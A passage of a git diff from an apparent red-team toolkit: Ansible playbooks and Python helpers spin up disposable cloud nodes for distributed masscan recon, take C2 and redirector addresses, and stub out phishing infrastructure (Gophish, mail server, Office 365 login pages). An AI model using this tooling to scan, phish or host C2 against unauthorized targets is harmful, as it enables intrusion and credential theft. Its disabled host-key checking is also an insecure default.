src: "~/.ssh/{{ ssh_key_name }}.pub" + register: wr_pubkey + +- name: Register SSH key in Linode ({{ node_chunk.node_name }}) + uri: + url: "https://api.linode.com/v4/profile/sshkeys" + method: POST + headers: + Authorization: "Bearer {{ linode_token }}" + Content-Type: "application/json" + body_format: json + body: + label: "{{ webrunner_name }}" + ssh_key: "{{ wr_pubkey.content | b64decode | trim }}" + status_code: [200, 201] + ignore_errors: true + +- name: Create Linode instance {{ node_chunk.node_name }} + uri: + url: "https://api.linode.com/v4/linode/instances" + method: POST + headers: + Authorization: "Bearer {{ linode_token }}" + Content-Type: "application/json" + body_format: json + body: + label: "{{ node_chunk.node_name }}" + type: "{{ linode_instance_type | default('g6-standard-2') }}" + region: "{{ linode_region | default('us-east') }}" + image: "linode/debian12" + root_pass: "{{ wr_root_pass }}" + authorized_keys: + - "{{ wr_pubkey.content | b64decode | trim }}" + booted: true + backups_enabled: false + private_ip: false + tags: + - "webrunner" + - "{{ webrunner_name }}" + - "{{ deployment_id }}" + status_code: [200, 201] + register: wr_linode + +- name: Extract node IP + set_fact: + wr_node_ip: "{{ wr_linode.json.ipv4[0] }}" + +- name: Log scanner IP + lineinfile: + path: "{{ scanner_ip_log }}" + line: "{{ node_chunk.node_name }}: {{ wr_node_ip }}" + create: true + +- name: Wait for SSH on {{ node_chunk.node_name }} ({{ wr_node_ip }}) + wait_for: + host: "{{ wr_node_ip }}" + port: 22 + delay: 30 + timeout: 300 + +- name: Add {{ node_chunk.node_name }} to inventory + add_host: + name: "{{ wr_node_ip }}" + groups: webrunner_nodes + ansible_host: "{{ wr_node_ip }}" + ansible_user: root + ansible_ssh_private_key_file: "~/.ssh/{{ ssh_key_name }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no" + node_name: "{{ node_chunk.node_name }}" + node_cidrs: "{{ node_chunk.cidrs }}" + node_ip_count: "{{ node_chunk.ip_count }}" + node_idx: "{{ node_chunk.idx }}" + linode_instance_id: "{{ wr_linode.json.id }}" + provider: linode + +- name: Show {{ node_chunk.node_name }} ready + debug: + msg: "Linode node ready: {{ node_chunk.node_name }} @ {{ wr_node_ip }} ({{ node_chunk.ip_count | int | string }} IPs)" diff --git a/providers/Linode/webrunner_provision_tasks.yml.retired b/providers/Linode/webrunner_provision_tasks.yml.retired new file mode 100644 index 0000000..c28ebf0 --- /dev/null +++ b/providers/Linode/webrunner_provision_tasks.yml.retired @@ -0,0 +1,90 @@ +--- +# Linode provision tasks for one WEBRUNNER node +# Called in a loop โ€” loop_var: node_chunk +# Requires: linode_token, ssh_key_name, webrunner_name, deployment_id, +# linode_instance_type, linode_region, scanner_ip_log, results_dir + +- name: Generate root password for {{ node_chunk.node_name }} + set_fact: + wr_root_pass: "{{ lookup('password', '/dev/null chars=ascii_letters,digits length=32') }}" + +- name: Read public key + slurp: + src: "~/.ssh/{{ ssh_key_name }}.pub" + register: wr_pubkey + +- name: Register SSH key in Linode ({{ node_chunk.node_name }}) + uri: + url: "https://api.linode.com/v4/profile/sshkeys" + method: POST + headers: + Authorization: "Bearer {{ linode_token }}" + Content-Type: "application/json" + body_format: json + body: + label: "{{ webrunner_name }}" + ssh_key: "{{ wr_pubkey.content | b64decode | trim }}" + status_code: [200, 201] + ignore_errors: true + +- name: Create Linode instance {{ node_chunk.node_name }} + uri: + url: "https://api.linode.com/v4/linode/instances" + method: POST + headers: + Authorization: "Bearer {{ linode_token }}" + Content-Type: "application/json" + body_format: json + body: + label: "{{ node_chunk.node_name }}" + type: "{{ linode_instance_type | default('g6-standard-2') }}" + region: "{{ linode_region | default('us-east') }}" + image: "linode/debian12" + root_pass: "{{ wr_root_pass }}" + authorized_keys: + - "{{ wr_pubkey.content | b64decode | trim }}" + booted: true + backups_enabled: false + private_ip: false + tags: + - "webrunner" + - "{{ webrunner_name }}" + - "{{ deployment_id }}" + status_code: [200, 201] + register: wr_linode + +- name: Extract node IP + set_fact: + wr_node_ip: "{{ wr_linode.json.ipv4[0] }}" + +- name: Log scanner IP + lineinfile: + path: "{{ scanner_ip_log }}" + line: "{{ node_chunk.node_name }}: {{ wr_node_ip }}" + create: true + +- name: Wait for SSH on {{ node_chunk.node_name }} ({{ wr_node_ip }}) + wait_for: + host: "{{ wr_node_ip }}" + port: 22 + delay: 30 + timeout: 300 + +- name: Add {{ node_chunk.node_name }} to inventory + add_host: + name: "{{ wr_node_ip }}" + groups: webrunner_nodes + ansible_host: "{{ wr_node_ip }}" + ansible_user: root + ansible_ssh_private_key_file: "~/.ssh/{{ ssh_key_name }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no" + node_name: "{{ node_chunk.node_name }}" + node_cidrs: "{{ node_chunk.cidrs }}" + node_ip_count: "{{ node_chunk.ip_count }}" + node_idx: "{{ node_chunk.idx }}" + linode_instance_id: "{{ wr_linode.json.id }}" + provider: linode + +- name: Show {{ node_chunk.node_name }} ready + debug: + msg: "Linode node ready: {{ node_chunk.node_name }} @ {{ wr_node_ip }} ({{ node_chunk.ip_count | int | string }} IPs)" diff --git a/providers/__init__.py b/providers/__init__.py new file mode 100644 index 0000000..00669ec --- /dev/null +++ b/providers/__init__.py @@ -0,0 +1 @@ +# Provider utils package diff --git a/providers/aws_utils.py b/providers/aws_utils.py new file mode 100644 index 0000000..40f489d --- /dev/null +++ b/providers/aws_utils.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +""" +AWS provider utilities for C2ingRed deployment system +""" + +import random +import logging +from ..utils.common import COLORS, load_vars_file, confirm_action + +def get_aws_credentials(provider_vars=None): + """Get AWS credentials from user or vars file""" + if not provider_vars: + provider_vars = load_vars_file('aws') + + default_aws_key = provider_vars.get('aws_access_key', '') + default_aws_secret = provider_vars.get('aws_secret_key', '') + + print(f"\n{COLORS['BLUE']}AWS Configuration{COLORS['RESET']}") + aws_key = input(f"AWS Access Key [{'*****' if default_aws_key else 'leave blank to use AWS CLI profile'}]: ") or default_aws_key + aws_secret = input(f"AWS Secret Key [{'*****' if default_aws_secret else 'leave blank to use AWS CLI profile'}]: ") or default_aws_secret + + return { + 'aws_access_key': aws_key, + 'aws_secret_key': aws_secret + } + +def select_aws_region(provider_vars=None, component=None): + """Let the user select an AWS region""" + if not provider_vars: + provider_vars = load_vars_file('aws') + + regions = provider_vars.get('aws_region_choices', []) + component_str = f" for {component}" if component else "" + + if not regions: + print(f"{COLORS['YELLOW']}No regions found for AWS, using us-east-1{COLORS['RESET']}") + return "us-east-1" + + print(f"\nAvailable AWS regions{component_str}:") + for i, region in enumerate(regions, 1): + print(f" {i}. {region}") + + region_input = input(f"\nSelect region{component_str} (number or leave blank for random): ") + + if not region_input: + return random.choice(regions) + + try: + region_choice = int(region_input) + if 1 <= region_choice <= len(regions): + return regions[region_choice - 1] + else: + print(f"{COLORS['RED']}Invalid choice, using random region{COLORS['RESET']}") + return random.choice(regions) + except ValueError: + print(f"{COLORS['RED']}Invalid input, using random region{COLORS['RESET']}") + return random.choice(regions) + +def gather_aws_config(): + """Gather all AWS-specific configuration""" + provider_vars = load_vars_file('aws') + config = {} + + # Get credentials + aws_creds = get_aws_credentials(provider_vars) + config.update(aws_creds) + + # Get region + config['aws_region'] = select_aws_region(provider_vars) + + # Additional AWS-specific settings + config['aws_instance_type'] = provider_vars.get('aws_instance_type', 't3.micro') + config['aws_volume_size'] = provider_vars.get('aws_volume_size', 20) + + return config diff --git a/providers/common/configure_gophish.yml b/providers/common/configure_gophish.yml new file mode 100644 index 0000000..6e470d3 --- /dev/null +++ b/providers/common/configure_gophish.yml @@ -0,0 +1,24 @@ +--- +# Common Gophish server configuration tasks + +- name: Configure Gophish servers + debug: + msg: | + Configuring Gophish servers for deployment {{ deployment_id }} + Admin port: {{ gophish_admin_port | default('8090') }} + Domain: {{ phishing_domain | default(domain) }} + +- name: Install Gophish + debug: + msg: "Would install and configure Gophish on target hosts" + delegate_to: "{{ item }}" + loop: "{{ groups['phishing_gophish'] | default([]) }}" + when: groups['phishing_gophish'] is defined + +- name: Configure Gophish templates + debug: + msg: | + Would configure Gophish with: + - Email template: {{ email_template | default('office365_login') }} + - Campaign: {{ campaign_name | default('test-campaign') }} + - Sender: {{ sender_name | default('IT Support') }} diff --git a/providers/common/configure_mta.yml b/providers/common/configure_mta.yml new file mode 100644 index 0000000..a476e24 --- /dev/null +++ b/providers/common/configure_mta.yml @@ -0,0 +1,23 @@ +--- +# Common MTA front server configuration tasks + +- name: Configure MTA front servers + debug: + msg: | + Configuring MTA front servers for deployment {{ deployment_id }} + MTA hostname: {{ mta_hostname | default('mail.' + (phishing_domain | default(domain))) }} + SMTP auth user: {{ smtp_auth_user | default('admin') }} + +- name: Install MTA software + debug: + msg: "Would install and configure MTA (Postfix/Exim) on target hosts" + delegate_to: "{{ item }}" + loop: "{{ groups['phishing_mta_front'] | default([]) }}" + when: groups['phishing_mta_front'] is defined + +- name: Configure DKIM/SPF + debug: + msg: | + Would configure DKIM/SPF records for: + - Domain: {{ phishing_domain | default(domain) }} + - MTA hostname: {{ mta_hostname | default('mail.' + (phishing_domain | default(domain))) }} diff --git a/providers/common/configure_redirector.yml b/providers/common/configure_redirector.yml new file mode 100644 index 0000000..4119943 --- /dev/null +++ b/providers/common/configure_redirector.yml @@ -0,0 +1,23 @@ +--- +# Common redirector configuration tasks + +- name: Configure redirector servers + debug: + msg: | + Configuring redirector servers for deployment {{ deployment_id }} + Backend host: {{ backend_host | default('N/A') }} + Redirector type: {{ redirector_type | default('http') }} + +- name: Install redirector software + debug: + msg: "Would install and configure Apache/Nginx redirectors on target hosts" + delegate_to: "{{ item }}" + loop: "{{ groups['phishing_redirector'] | default([]) }}" + when: groups['phishing_redirector'] is defined + +- name: Configure SSL certificates + debug: + msg: | + Would configure SSL certificates for: + - Domain: {{ phishing_domain | default(domain) }} + - Let's Encrypt email: {{ letsencrypt_email | default('admin@' + (phishing_domain | default(domain))) }} diff --git a/providers/common/configure_webserver.yml b/providers/common/configure_webserver.yml new file mode 100644 index 0000000..31ce76f --- /dev/null +++ b/providers/common/configure_webserver.yml @@ -0,0 +1,22 @@ +--- +# Common web server configuration tasks + +- name: Configure web servers + debug: + msg: | + Configuring web servers for deployment {{ deployment_id }} + Phishing hostname: {{ phishing_hostname | default('portal.' + (phishing_domain | default(domain))) }} + +- name: Install web server software + debug: + msg: "Would install and configure Apache/Nginx web servers on target hosts" + delegate_to: "{{ item }}" + loop: "{{ groups['phishing_webserver'] | default([]) }}" + when: groups['phishing_webserver'] is defined + +- name: Deploy phishing pages + debug: + msg: | + Would deploy phishing pages: + - Template: {{ email_template | default('office365_login') }} + - Domain: {{ phishing_domain | default(domain) }} diff --git a/providers/flokinet_utils.py b/providers/flokinet_utils.py new file mode 100644 index 0000000..4569a32 --- /dev/null +++ b/providers/flokinet_utils.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +""" +FlokiNET provider utilities for C2ingRed deployment system +""" + +import logging +from ..utils.common import COLORS, load_vars_file, validate_ip_address + +def get_flokinet_credentials(provider_vars=None): + """Get FlokiNET server IPs from user or vars file""" + if not provider_vars: + provider_vars = load_vars_file('flokinet') + + default_redirector_ip = provider_vars.get('redirector_ip', '') + default_c2_ip = provider_vars.get('c2_ip', '') + + print(f"\n{COLORS['BLUE']}FlokiNET Configuration{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Note: FlokiNET requires pre-provisioned servers{COLORS['RESET']}") + + redirector_ip = input(f"FlokiNET Redirector IP Address [default: {default_redirector_ip}]: ") or default_redirector_ip + c2_ip = input(f"FlokiNET C2 Server IP Address [default: {default_c2_ip}]: ") or default_c2_ip + + # Validate IP addresses + if redirector_ip and not validate_ip_address(redirector_ip): + print(f"{COLORS['RED']}Invalid redirector IP address{COLORS['RESET']}") + return None + + if c2_ip and not validate_ip_address(c2_ip): + print(f"{COLORS['RED']}Invalid C2 server IP address{COLORS['RESET']}") + return None + + return { + 'flokinet_redirector_ip': redirector_ip, + 'flokinet_c2_ip': c2_ip + } + +def gather_flokinet_config(): + """Gather all FlokiNET-specific configuration""" + provider_vars = load_vars_file('flokinet') + config = {} + + # Get server IPs + flokinet_ips = get_flokinet_credentials(provider_vars) + if not flokinet_ips: + return None + config.update(flokinet_ips) + + # FlokiNET-specific settings + config['ssh_user'] = 'root' # FlokiNET typically uses root + + return config diff --git a/providers/linode_utils.py b/providers/linode_utils.py new file mode 100644 index 0000000..17ffb9d --- /dev/null +++ b/providers/linode_utils.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +""" +Linode provider utilities for C2ingRed deployment system +""" + +import random +import logging +from ..utils.common import COLORS, load_vars_file + +def get_linode_credentials(provider_vars=None): + """Get Linode API token from user or vars file""" + if not provider_vars: + provider_vars = load_vars_file('linode') + + default_token = provider_vars.get('linode_token', '') + + print(f"\n{COLORS['BLUE']}Linode Configuration{COLORS['RESET']}") + token = input(f"Linode API Token [{'*****' if default_token else 'required'}]: ") or default_token + + if not token: + print(f"{COLORS['RED']}Linode API token is required{COLORS['RESET']}") + return None + + return {'linode_token': token} + +def select_linode_region(provider_vars=None, component=None): + """Let the user select a Linode region""" + if not provider_vars: + provider_vars = load_vars_file('linode') + + regions = provider_vars.get('region_choices', []) + component_str = f" for {component}" if component else "" + + if not regions: + print(f"{COLORS['YELLOW']}No regions found for Linode, using us-east{COLORS['RESET']}") + return "us-east" + + print(f"\nAvailable Linode regions{component_str}:") + for i, region in enumerate(regions, 1): + print(f" {i}. {region}") + + region_input = input(f"\nSelect region{component_str} (number or leave blank for random): ") + + if not region_input: + return random.choice(regions) + + try: + region_choice = int(region_input) + if 1 <= region_choice <= len(regions): + return regions[region_choice - 1] + else: + print(f"{COLORS['RED']}Invalid choice, using random region{COLORS['RESET']}") + return random.choice(regions) + except ValueError: + print(f"{COLORS['RED']}Invalid input, using random region{COLORS['RESET']}") + return random.choice(regions) + +def gather_linode_config(): + """Gather all Linode-specific configuration""" + provider_vars = load_vars_file('linode') + config = {} + + # Get credentials + linode_creds = get_linode_credentials(provider_vars) + if not linode_creds: + return None + config.update(linode_creds) + + # Get region + config['linode_region'] = select_linode_region(provider_vars) + + # Additional Linode-specific settings + config['linode_instance_type'] = provider_vars.get('linode_instance_type', 'g6-nanode-1') + config['linode_image'] = provider_vars.get('linode_image', 'linode/kali') + + return config diff --git a/providers/provider_utils.py b/providers/provider_utils.py new file mode 100644 index 0000000..961eec3 --- /dev/null +++ b/providers/provider_utils.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +""" +Provider selection and configuration utilities +""" + +from ..utils.common import COLORS, PROVIDERS +from .aws_utils import gather_aws_config +from .linode_utils import gather_linode_config +from .flokinet_utils import gather_flokinet_config + +def select_provider(): + """Let the user select a cloud provider""" + print(f"\n{COLORS['BLUE']}Available cloud providers:{COLORS['RESET']}") + for i, provider in enumerate(PROVIDERS, 1): + print(f" {i}. {provider.capitalize()}") + + while True: + try: + provider_choice = input(f"\nSelect a provider (1-{len(PROVIDERS)} or 99 to cancel): ") + if provider_choice == "99": + return None + + provider_choice = int(provider_choice) + if 1 <= provider_choice <= len(PROVIDERS): + return PROVIDERS[provider_choice - 1] + else: + print(f"{COLORS['RED']}Please enter a number between 1 and {len(PROVIDERS)}{COLORS['RESET']}") + except ValueError: + print(f"{COLORS['RED']}Please enter a valid number{COLORS['RESET']}") + +def gather_provider_config(provider): + """Gather configuration for the specified provider""" + if provider == "aws": + return gather_aws_config() + elif provider == "linode": + return gather_linode_config() + elif provider == "flokinet": + return gather_flokinet_config() + else: + print(f"{COLORS['RED']}Unknown provider: {provider}{COLORS['RESET']}") + return None diff --git a/providers/webrunner.yml b/providers/webrunner.yml new file mode 100644 index 0000000..a478171 --- /dev/null +++ b/providers/webrunner.yml @@ -0,0 +1,344 @@ +--- +# WEBRUNNER โ€” Distributed geo-targeted recon +# Multi-provider: Linode, AWS, FlokiNET +# Controller: ~/tools/c2itall/ (CWD when ansible-playbook runs) + +- name: WEBRUNNER โ€” Provision scan nodes + hosts: localhost + connection: local + gather_facts: false + vars: + ansible_python_interpreter: "{{ ansible_playbook_python }}" + ssh_key_name: "{{ ssh_key_path | basename | regex_replace('\\.pub$', '') }}" + all_node_chunks: "{{ lookup('file', node_chunks_file) | from_json }}" + linode_chunks: "{{ all_node_chunks | selectattr('provider', 'equalto', 'linode') | list }}" + aws_chunks: "{{ all_node_chunks | selectattr('provider', 'equalto', 'aws') | list }}" + + tasks: + - name: Ensure results directory + file: + path: "{{ results_dir }}" + state: directory + mode: '0755' + + - name: Initialize scanner IP log + copy: + content: "# WEBRUNNER scanner IPs โ€” {{ webrunner_name }}\n" + dest: "{{ scanner_ip_log }}" + mode: '0644' + force: false + + # โ”€โ”€ Linode โ€” all nodes created in parallel โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + - block: + - name: Generate shared root password + set_fact: + wr_root_pass: "{{ lookup('password', '/dev/null chars=ascii_letters,digits length=32') }}" + + - name: Read SSH public key + slurp: + src: "~/.ssh/{{ ssh_key_name }}.pub" + register: wr_pubkey + + - name: Register SSH key with Linode + uri: + url: "https://api.linode.com/v4/profile/sshkeys" + method: POST + headers: + Authorization: "Bearer {{ lookup('env', 'LINODE_TOKEN') }}" + Content-Type: "application/json" + body_format: json + body: + label: "{{ webrunner_name }}" + ssh_key: "{{ wr_pubkey.content | b64decode | trim }}" + status_code: [200, 201, 422] + ignore_errors: true + + - name: Fire all Linode instance creates + uri: + url: "https://api.linode.com/v4/linode/instances" + method: POST + headers: + Authorization: "Bearer {{ lookup('env', 'LINODE_TOKEN') }}" + Content-Type: "application/json" + body_format: json + body: + label: "{{ item.node_name }}" + type: "{{ linode_instance_type | default('g6-nanode-1') }}" + region: "{{ item.region | default('us-east') }}" + image: "linode/debian12" + root_pass: "{{ wr_root_pass }}" + authorized_keys: + - "{{ wr_pubkey.content | b64decode | trim }}" + booted: true + backups_enabled: false + private_ip: false + tags: + - "webrunner" + - "{{ webrunner_name }}" + - "{{ deployment_id }}" + status_code: [200, 201] + loop: "{{ linode_chunks }}" + async: 300 + poll: 0 + register: wr_create_jobs + + - name: Wait for all creates to confirm + async_status: + jid: "{{ item.ansible_job_id }}" + loop: "{{ wr_create_jobs.results }}" + register: wr_create_results + until: wr_create_results.finished + retries: 30 + delay: 10 + + - name: Add all Linode nodes to inventory + add_host: + name: "{{ item.json.ipv4[0] }}" + groups: webrunner_nodes + ansible_host: "{{ item.json.ipv4[0] }}" + ansible_user: root + ansible_ssh_private_key_file: "~/.ssh/{{ ssh_key_name }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no" + node_name: "{{ linode_chunks[idx].node_name }}" + node_cidrs: "{{ linode_chunks[idx].cidrs }}" + node_ip_count: "{{ linode_chunks[idx].ip_count }}" + node_idx: "{{ linode_chunks[idx].idx }}" + linode_instance_id: "{{ item.json.id }}" + provider: linode + loop: "{{ wr_create_results.results }}" + loop_control: + index_var: idx + + - name: Log scanner IPs + lineinfile: + path: "{{ scanner_ip_log }}" + line: "{{ linode_chunks[idx].node_name }}: {{ item.json.ipv4[0] }}" + create: true + loop: "{{ wr_create_results.results }}" + loop_control: + index_var: idx + + - name: Show provisioned nodes + debug: + msg: "Node ready: {{ linode_chunks[idx].node_name }} @ {{ item.json.ipv4[0] }} ({{ linode_chunks[idx].region }})" + loop: "{{ wr_create_results.results }}" + loop_control: + index_var: idx + + when: linode_chunks | length > 0 + + # โ”€โ”€ AWS โ€” per-unique-region setup then parallel creates โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + - block: + - name: Read SSH public key for AWS + slurp: + src: "~/.ssh/{{ ssh_key_name }}.pub" + register: aws_pubkey + + - name: Get unique AWS regions + set_fact: + aws_unique_regions: "{{ aws_chunks | map(attribute='region') | unique | list }}" + + - name: Import SSH key pair per region + amazon.aws.ec2_key: + access_key: "{{ lookup('env', 'AWS_ACCESS_KEY_ID') }}" + secret_key: "{{ lookup('env', 'AWS_SECRET_ACCESS_KEY') }}" + name: "{{ webrunner_name }}" + key_material: "{{ aws_pubkey.content | b64decode | trim }}" + region: "{{ item }}" + state: present + loop: "{{ aws_unique_regions }}" + ignore_errors: true + + - name: Create security group per region + amazon.aws.ec2_security_group: + access_key: "{{ lookup('env', 'AWS_ACCESS_KEY_ID') }}" + secret_key: "{{ lookup('env', 'AWS_SECRET_ACCESS_KEY') }}" + name: "webrunner-{{ webrunner_name }}" + description: "WEBRUNNER scan node SG" + region: "{{ item }}" + rules: + - proto: tcp + ports: [22] + cidr_ip: "{{ (operator_ip ~ '/32') if operator_ip else '0.0.0.0/0' }}" + rules_egress: + - proto: all + cidr_ip: "0.0.0.0/0" + state: present + loop: "{{ aws_unique_regions }}" + ignore_errors: true + + - name: Fire all AWS instance creates + amazon.aws.ec2_instance: + access_key: "{{ lookup('env', 'AWS_ACCESS_KEY_ID') }}" + secret_key: "{{ lookup('env', 'AWS_SECRET_ACCESS_KEY') }}" + name: "{{ item.node_name }}" + instance_type: "{{ aws_instance_type | default('t3.micro') }}" + region: "{{ item.region }}" + image_id: "{{ ami_map[item.region] }}" + key_name: "{{ webrunner_name }}" + security_groups: + - "webrunner-{{ webrunner_name }}" + network: + assign_public_ip: true + tags: + Name: "{{ item.node_name }}" + webrunner: "{{ webrunner_name }}" + deployment_id: "{{ deployment_id }}" + state: running + wait: true + wait_timeout: 300 + loop: "{{ aws_chunks }}" + async: 600 + poll: 0 + register: aws_create_jobs + + - name: Wait for all AWS creates to confirm + async_status: + jid: "{{ item.ansible_job_id }}" + loop: "{{ aws_create_jobs.results }}" + register: aws_create_results + until: aws_create_results.finished + retries: 60 + delay: 10 + + - name: Add all AWS nodes to inventory + add_host: + name: "{{ item.instances[0].public_ip_address }}" + groups: webrunner_nodes + ansible_host: "{{ item.instances[0].public_ip_address }}" + ansible_user: admin + ansible_ssh_private_key_file: "~/.ssh/{{ ssh_key_name }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no" + node_name: "{{ aws_chunks[idx].node_name }}" + node_cidrs: "{{ aws_chunks[idx].cidrs }}" + node_ip_count: "{{ aws_chunks[idx].ip_count }}" + node_idx: "{{ aws_chunks[idx].idx }}" + ec2_instance_id: "{{ item.instances[0].instance_id }}" + ec2_region: "{{ aws_chunks[idx].region }}" + provider: aws + loop: "{{ aws_create_results.results }}" + loop_control: + index_var: idx + + - name: Log AWS scanner IPs + lineinfile: + path: "{{ scanner_ip_log }}" + line: "{{ aws_chunks[idx].node_name }}: {{ item.instances[0].public_ip_address }}" + create: true + loop: "{{ aws_create_results.results }}" + loop_control: + index_var: idx + + - name: Show provisioned AWS nodes + debug: + msg: "Node ready: {{ aws_chunks[idx].node_name }} @ {{ item.instances[0].public_ip_address }} ({{ aws_chunks[idx].region }})" + loop: "{{ aws_create_results.results }}" + loop_control: + index_var: idx + + when: aws_chunks | length > 0 + + # โ”€โ”€ FlokiNET โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + - name: Provision FlokiNET nodes + include_tasks: "FlokiNET/webrunner_provision_tasks.yml" + loop: "{{ all_node_chunks | selectattr('provider', 'equalto', 'flokinet') | list }}" + loop_control: + loop_var: node_chunk + + +- name: WEBRUNNER โ€” Configure and scan + hosts: webrunner_nodes + gather_facts: false + become: true + strategy: free + + tasks: + - name: Wait for SSH + wait_for_connection: + delay: 20 + timeout: 300 + + - name: Configure node + include_tasks: "{{ playbook_dir }}/../modules/webrunner/tasks/configure_node.yml" + + - name: Run scan + include_tasks: "{{ playbook_dir }}/../modules/webrunner/tasks/run_scan.yml" + + - name: Collect results + include_tasks: "{{ playbook_dir }}/../modules/webrunner/tasks/collect_results.yml" + + +- name: WEBRUNNER โ€” Merge and report + hosts: localhost + connection: local + gather_facts: false + + tasks: + - name: Merge per-node results + command: > + python3 {{ playbook_dir }}/../modules/webrunner/tasks/merge_results.py + --results-dir {{ results_dir }} + --output {{ results_dir }}/merged_results.json + --deployment-id {{ deployment_id }} + register: merge_out + ignore_errors: true + + - name: Show merge output + debug: + var: merge_out.stdout_lines + when: merge_out.stdout_lines is defined and merge_out.stdout_lines | length > 0 + + - name: Summary + debug: + msg: + - "WEBRUNNER complete โ€” {{ webrunner_name }}" + - "Results: {{ results_dir }}/merged_results.json" + - "Scanner IPs: {{ scanner_ip_log }}" + - "Log: logs/deployment_{{ deployment_id }}.log" + + +- name: WEBRUNNER โ€” Teardown scan nodes + hosts: localhost + connection: local + gather_facts: false + + tasks: + - name: Teardown Linode nodes + uri: + url: "https://api.linode.com/v4/linode/instances/{{ hostvars[item]['linode_instance_id'] }}" + method: DELETE + headers: + Authorization: "Bearer {{ lookup('env', 'LINODE_TOKEN') }}" + status_code: [200, 204] + loop: "{{ groups['webrunner_nodes'] | default([]) }}" + when: + - teardown_after_scan | default(true) | bool + - hostvars[item]['provider'] == 'linode' + - hostvars[item]['linode_instance_id'] is defined + ignore_errors: true + + - name: Teardown AWS nodes + amazon.aws.ec2_instance: + access_key: "{{ lookup('env', 'AWS_ACCESS_KEY_ID') }}" + secret_key: "{{ lookup('env', 'AWS_SECRET_ACCESS_KEY') }}" + instance_ids: + - "{{ hostvars[item]['ec2_instance_id'] }}" + region: "{{ hostvars[item]['ec2_region'] }}" + state: terminated + loop: "{{ groups['webrunner_nodes'] | default([]) }}" + when: + - teardown_after_scan | default(true) | bool + - hostvars[item]['provider'] == 'aws' + - hostvars[item]['ec2_instance_id'] is defined + ignore_errors: true + + - name: Teardown complete + debug: + msg: "All WEBRUNNER scan nodes destroyed." + when: + - teardown_after_scan | default(true) | bool + - groups['webrunner_nodes'] is defined + - groups['webrunner_nodes'] | length > 0 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..09e267a --- /dev/null +++ b/requirements.txt @@ -0,0 +1,8 @@ +ansible +linode-api4 +boto3 +botocore +awscli +passlib +paramiko +linode-cli \ No newline at end of file diff --git a/smoke_test_webrunner.py b/smoke_test_webrunner.py new file mode 100644 index 0000000..0a6b1f0 --- /dev/null +++ b/smoke_test_webrunner.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python3 +""" +WEBRUNNER smoke test โ€” 1 nanode, masscan-only, operator IP /32, port 22, auto-teardown. +Run from c2itall root: python3 smoke_test_webrunner.py +""" +import json +import os +import sys + +sys.path.insert(0, os.path.dirname(__file__)) + +from utils.common import generate_deployment_id, setup_logging +from utils.ssh_utils import generate_ssh_key +from utils.deployment_engine import execute_playbook, set_provider_environment + +OPERATOR_IP = "129.222.0.125" +TARGET_CIDR = f"{OPERATOR_IP}/32" + +config = {} +config['deployment_id'] = generate_deployment_id() +config['engagement'] = 'smoketest' +config['deployment_type'] = 'webrunner' +config['webrunner_deployment'] = True +config['webrunner_name'] = f"wr-smoke-{config['deployment_id']}" + +# Provider โ€” cheapest Linode nanode +config['providers'] = ['linode'] +config['provider'] = 'linode' +config['linode_region'] = 'us-east' +config['linode_instance_type'] = 'g6-nanode-1' +config['linode_image'] = 'linode/debian12' + +# Scan โ€” masscan-only, single port, operator /32 +config['scan_mode'] = 'masscan-only' +config['ports'] = [22] +config['ports_str'] = '22' +config['masscan_rate'] = 1000 +config['use_tor'] = False +config['targets_file'] = '' +config['total_ips'] = 1 +config['preset'] = 'sprint' +config['chunk_size'] = 500_000 + +# OPSEC +config['operator_ip'] = OPERATOR_IP +config['enhanced_opsec'] = False +config['teardown_after_scan'] = True + +# SSH key +ssh_key_path = generate_ssh_key(config['webrunner_name']) +if not ssh_key_path: + sys.exit('Failed to generate SSH key') +config['ssh_key_path'] = f"{ssh_key_path}.pub" +config['ssh_key_name'] = os.path.basename(ssh_key_path) + +# Single node chunk targeting operator IP +node_chunks = [{ + 'idx': 0, + 'node_name': f"{config['webrunner_name']}-01", + 'provider': 'linode', + 'cidrs': [TARGET_CIDR], + 'ip_count': 1, +}] + +logs_dir = os.path.abspath('logs') +os.makedirs(logs_dir, exist_ok=True) +chunks_file = os.path.join(logs_dir, f"node_chunks_{config['deployment_id']}.json") +with open(chunks_file, 'w') as f: + json.dump(node_chunks, f) + +config['node_chunks_file'] = chunks_file +config['scanner_ip_log'] = os.path.join(logs_dir, f"scanner_ips_{config['webrunner_name']}.txt") +config['results_dir'] = os.path.join(logs_dir, f"webrunner_{config['deployment_id']}") + +log_file = setup_logging(config['deployment_id'], 'webrunner_smoketest') + +print(f"\n[*] WEBRUNNER smoke test") +print(f" ID: {config['deployment_id']}") +print(f" Target: {TARGET_CIDR} (operator IP)") +print(f" Mode: masscan-only, port 22") +print(f" Node: g6-nanode-1 @ us-east (auto-teardown)\n") + +set_provider_environment({**config, 'provider': 'linode'}) + +success = execute_playbook('providers/webrunner.yml', config) +sys.exit(0 if success else 1) diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml new file mode 100644 index 0000000..e69de29 diff --git a/teardown.py b/teardown.py new file mode 100755 index 0000000..00e3a5f --- /dev/null +++ b/teardown.py @@ -0,0 +1,533 @@ +#!/usr/bin/env python3 +""" +Standalone teardown script for C2itall deployments +This script can be used to teardown infrastructure when the main menu 